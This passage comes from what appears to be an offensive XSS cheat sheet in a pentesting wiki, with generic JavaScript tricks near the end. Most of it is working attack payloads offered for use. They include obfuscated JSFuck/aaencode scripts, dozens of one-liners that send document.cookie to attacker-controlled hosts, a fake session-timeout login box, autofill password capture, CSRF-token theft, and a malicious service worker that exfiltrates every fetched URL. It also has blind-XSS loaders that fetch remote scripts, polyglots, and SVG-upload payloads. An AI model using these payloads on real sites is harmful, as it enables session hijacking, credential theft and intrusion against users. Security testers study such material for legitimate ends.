![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
```

```javascript
//aaencode
ﾟωﾟﾉ= /｀ｍ´）ﾉ ~┻━┻   //*´∇｀*/ ['_']; o=(ﾟｰﾟ)  =_=3; c=(ﾟΘﾟ) =(ﾟｰﾟ)-(ﾟｰﾟ); (ﾟДﾟ) =(ﾟΘﾟ)= (o^_^o)/ (o^_^o);(ﾟДﾟ)={ﾟΘﾟ: '_' ,ﾟωﾟﾉ : ((ﾟωﾟﾉ==3) +'_') [ﾟΘﾟ] ,ﾟｰﾟﾉ :(ﾟωﾟﾉ+ '_')[o^_^o -(ﾟΘﾟ)] ,ﾟДﾟﾉ:((ﾟｰﾟ==3) +'_')[ﾟｰﾟ] }; (ﾟДﾟ) [ﾟΘﾟ] =((ﾟωﾟﾉ==3) +'_') [c^_^o];(ﾟДﾟ) ['c'] = ((ﾟДﾟ)+'_') [ (ﾟｰﾟ)+(ﾟｰﾟ)-(ﾟΘﾟ) ];(ﾟДﾟ) ['o'] = ((ﾟДﾟ)+'_') [ﾟΘﾟ];(ﾟoﾟ)=(ﾟДﾟ) ['c']+(ﾟДﾟ) ['o']+(ﾟωﾟﾉ +'_')[ﾟΘﾟ]+ ((ﾟωﾟﾉ==3) +'_') [ﾟｰﾟ] + ((ﾟДﾟ) +'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ ((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [(ﾟｰﾟ) - (ﾟΘﾟ)]+(ﾟДﾟ) ['c']+((ﾟДﾟ)+'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ (ﾟДﾟ) ['o']+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ];(ﾟДﾟ) ['_'] =(o^_^o) [ﾟoﾟ] [ﾟoﾟ];(ﾟεﾟ)=((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟДﾟ) .ﾟДﾟﾉ+((ﾟДﾟ)+'_') [(ﾟｰﾟ) + (ﾟｰﾟ)]+((ﾟｰﾟ==3) +'_') [o^_^o -ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟωﾟﾉ +'_') [ﾟΘﾟ]; (ﾟｰﾟ)+=(ﾟΘﾟ); (ﾟДﾟ)[ﾟεﾟ]='\\'; (ﾟДﾟ).ﾟΘﾟﾉ=(ﾟДﾟ+ ﾟｰﾟ)[o^_^o -(ﾟΘﾟ)];(oﾟｰﾟo)=(ﾟωﾟﾉ +'_')[c^_^o];(ﾟДﾟ) [ﾟoﾟ]='\"';(ﾟДﾟ) ['_'] ( (ﾟДﾟ) ['_'] (ﾟεﾟ+(ﾟДﾟ)[ﾟoﾟ]+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟoﾟ]) (ﾟΘﾟ)) ('_');
```

## XSS common payloads

### Retrieve Cookies

```javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```

{% hint style="info" %}
You **won't be able to access the cookies from JavaScript** if the HTTPOnly flag is set in the cookie. But here you have [some ways to bypass this protection](../hacking-with-cookies.md#httponly) if you are lucky enough.
{% endhint %}

### Port Scanner \(fetch\)

```javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
```

### Port Scanner \(websockets\)

```python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
    var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
    s.start = performance.now();
    s.port = ports[i];
    s.onerror = function() {
        console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
    };
    s.onopen = function() {
        console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
    };
}
```

_Short times indicate a responding port_ _Longer times indicate no response_

### Box to as for credentials

```markup
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```

### Auto-fill passwords capture

```javascript
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
```

When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.

### XSS - Stealing CSRF tokens

```javascript
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/email/change-email', true);
    changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
```

### XSS - Stealing PostMessage messages

```markup
<img src="https://attacker.com/?" id=message>
<script>
 window.onmessage = function(e){
 document.getElementById("message").src += "&"+e.data;
</script>
```

### XSS - Abusing Service Workers

A service worker is a **script** that your browser **runs** in the **background**, separate from a web page, opening the door to features that don't need a web page or user interaction. \([More info about what is a service worker here](https://developers.google.com/web/fundamentals/primers/service-workers)\).  
The goal of this attack is to **create service workers** on the **victim session** inside the **vulnerable** web **domain** that grant the **attacker control** over **all the pages** the **victim** will load in **that domain**.

In order to exploit this vulnerability you need to find:

* A way to **upload arbitrary JS** files to the server and a **XSS to load the service worker** of the uploaded JS file
* A **vulnerable JSONP request** where you can **manipulate the output \(with arbitrary JS code\)** and a **XSS** to **load the JSONP with a payload** that will **load a malicious service worker**.

In the following example I'm going to present a code to **register a new service worke**r that will listen to the `fetch` event and will **send to the attackers server each fetched URL** \(this is the code you would need to **upload** to the **server** or load via a **vulnerable JSONP** response\):

```javascript
self.addEventListener('fetch', function(e) {
  e.respondWith(caches.match(e.request).then(function(response) {
    fetch('https://attacker.com/fetch_url/' + e.request.url)
});
```

And this is the code that will **register the worker** \(the code you should be able to execute abusing a **XSS**\). In this case a **GET** request will be sent to the **attackers** server **notifying** if the **registration** of the service worker was successful or not:

```javascript
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
  .then(function(registration) {
    var xhttp2 = new XMLHttpRequest();
    xhttp2.open("GET", "https://attacker.com/SW/success", true);
    xhttp2.send();
  }, function (err) {
    var xhttp2 = new XMLHttpRequest();
    xhttp2.open("GET", "https://attacker.com/SW/error", true);
    xhttp2.send();
  });
});
</script>
```

In case of abusing a vulnerable JSONP endpoint you should put the value inside `var sw`. For example:

```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```

There is **C2** dedicated to the **exploitation of Service Workers** called [**Shadow Workers**](https://shadow-workers.github.io/) that will be very useful to abuse these vulnerabilities.

### Polyglots

```javascript
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*
-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>
<svg%0Ao%00nload=%09((pro\u006dpt))()//

javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//>
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>`
%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert(test)//'">`
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'>
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=document.location=`//localhost/mH`//>
```

### Blind XSS payloads

```markup
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')"> 

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```

## XSS Abusing other vulnerabilities

### XSS to SSRF

Got XSS on a **site that uses caching**? Try **upgrading that to SSRF** through Edge Side Include Injection with this payload:

```python
<esi:include src="http://yoursite.com/capture" />
```

Use it to bypass cookie restrictions, XSS filters and much more!  
More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md).

### XSS in dynamic created PDF

If a web page is creating a PDF using user controlled input, you can try to **trick the bot** that is creating the PDF into **executing arbitrary JS code**.  
So, if the **PDF creator bot finds** some kind of **HTML** **tags**, it is going to **interpret** them, and you can **abuse** this behaviour to cause a **Server XSS**.

{% page-ref page="server-side-xss-dynamic-pdf.md" %}

If you cannot inject HTML tags it could be worth it to try to **inject PDF data**:

{% page-ref page="pdf-injection.md" %}

### XSS uploading files \(svg\)

Upload as an image a file like the following one \(from [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)\):

```markup
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
   <script type="text/javascript">
      alert(1);
   </script>
</svg>
-----------------------------232181429808--
```

```javascript
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <script type="text/javascript">alert("XSS")</script>
</svg>
```

```python
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
```

## Other JavaScript tricks

### JavaScript Comments

```javascript
//This is a 1 line comment
/* This is a multiline comment*/
#!This is a 1 line comment, but "#!" must to be at the beggining of the line
-->This is a 1 line comment, but "-->" must to be at the beggining of the line


  for (let j = 0; j < 128; j++) {
    for (let k = 0; k < 128; k++) {
      for (let l = 0; l < 128; l++) {
        if (j == 34 || k ==34 || l ==34)
          continue;
        if (j == 0x0a || k ==0x0a || l ==0x0a)
          continue;
        if (j == 0x0d || k ==0x0d || l ==0x0d)
          continue;
        if (j == 0x3c || k ==0x3c || l ==0x3c)
          continue;
        if (
           (j == 47 && k == 47)
           ||(k == 47 && l == 47)
          )
          continue;
    try {
        var cmd = String.fromCharCode(j) + String.fromCharCode(k) + String.fromCharCode(l) + 'a.orange.ctf"';
        eval(cmd);
    } catch(e) {
        var err = e.toString().split('\n')[0].split(':')[0];
        if (err === 'SyntaxError' || err === "ReferenceError")
          continue
        err = e.toString().split('\n')[0]
    }
       console.log(err,cmd);
    }
    }
  }
  //From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z
```

### Javascript New Lines

```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10) //0x0a
String.fromCharCode(13) //0x0d
String.fromCharCode(8232) //0xe2 0x80 0xa8
String.fromCharCode(8233) //0xe2 0x80 0xa8

  for (let j = 0; j < 65536; j++) {
    try {
        var cmd = '"aaaaa";'+String.fromCharCode(j) + '-->a.orange.ctf"';
        eval(cmd);
    } catch(e) {
        var err = e.toString().split('\n')[0].split(':')[0];
        if (err === 'SyntaxError' || err === "ReferenceError")
          continue;
        err = e.toString().split('\n')[0]
    }
    console.log(`[${err}]`,j,cmd);
  }
//From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z
```

### **Surrogate Pairs**

This technique won't be very useful for XSS but it could be useful to bypass WAF protections. This python code receive as input 2bytes and it search a surrogate pairs that have the first byte as the the last bytes of the High surrogate pair and the the last byte as the last byte of the low surrogate pair.

```python
def unicode(findHex):
    for i in range(0,0xFFFFF):
        H = hex(int(((i - 0x10000) / 0x400) + 0xD800))
        h = chr(int(H[-2:],16))
        L = hex(int(((i - 0x10000) % 0x400 + 0xDC00)))
        l = chr(int(L[-2:],16))
        if(h == findHex[0]) and (l == findHex[1]):     
            print(H.replace("0x","\\u")+L.replace("0x","\\u"))
```

More info:

* [https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md](https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md)
* [https://mathiasbynens.be/notes/javascript-unicode](https://mathiasbynens.be/notes/javascript-unicode) [https://mathiasbynens.be/notes/javascript-encoding](https://mathiasbynens.be/notes/javascript-encoding)

## XSS resources

[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)  
[http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list) [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list) [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)  
[https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)

### XSS TOOLS

Find some [**tools for XSS here**](xss-tools.md)**.**

## **Other JavaScript related tricks**

* Trick to download .map js files: [https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7](https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7)

## Other JS tricks

### Arrow functions

Arrow functions allow you to generate functions in a sigle line more easily \(if you understand them\)

```javascript
// Traditional
function (a){ return a + 1; }
// Arrow forms
a => a + 100;
a => {a + 100};

// Traditional
function (a, b){ return a + b + 1; }
// Arrow
(a, b) => a + b + 100;

// Tradictional no args
let a = 4;
let b = 2;
function (){ return a + b + 1; }

// Arrow
let a = 4;
let b = 2;
() => a + b + 1;
```

So, most of the previous functions are actually useless because we aren't saving them anywhere to save and call them. Example creating the `plusone` function:

```javascript
// Traductional
function plusone (a){ return a + 1; }

//Arrow
plusone = a => a + 100;
```

### Bind function

The bind function allow to create a **copy** of a **function modifying** the **`this`** object and the **parameters** given.

```javascript
//This will use the this object and print "Hello World"
var fn = function ( param1, param2 ) {
    console.info( this, param1, param2 );
}
fn('Hello', 'World')

//This will still use the this object and print "Hello World"
var copyFn = fn.bind();
copyFn('Hello', 'World')

//This will use the "console" object as "this" object inside the function and print "fixingparam1 Hello"
var bindFn_change = fn.bind(console, "fixingparam1");
bindFn_change('Hello', 'World') 

//This will still use the this object and print "fixingparam1 Hello"
var bindFn_thisnull = fn.bind(null, "fixingparam1");
bindFn_change('Hello', 'World')

//This will still use the this object and print "fixingparam1 Hello"
var bindFn_this = fn.bind(this, "fixingparam1");
bindFn_change('Hello', 'World')
```

{% hint style="info" %}
Note that using **`bind`** you can manipulate the **`this`** object that is going to be used when calling the function.
{% endhint %}

### Function code leak

If you can **access the object** of a function you can **get the code** of that function

```javascript
function afunc(){
    return 1+1;
}
console.log(afunc.toString()); //This will print the code of the function
console.log(String(afunc)); //This will print the code of the function
console.log(this.afunc.toString()); //This will print the code of the function
console.log(global.afunc.toString()); //This will print the code of the function
```

In cases where the **function doesn't have any name**, you can still print the **function code** from within:

```javascript
(function (){ return arguments.callee.toString(); })()
(function (){ return arguments[0]; })("arg0")
```

Some **random** ways to **extract the code** of a function \(even comments\) from another function:

```javascript
(function (){ return retFunc => String(arguments[0]) })(a=>{/* Hidden commment */})()
(function (){ return retFunc => Array(arguments[0].toString()) })(a=>{/* Hidden commment */})()
(function (){ return String(this)}).bind(()=>{ /* Hidden commment */ })()
(u=>(String(u)))(_=>{ /* Hidden commment */ })
(u=>_=>(String(u)))(_=>{ /* Hidden commment */ })()
```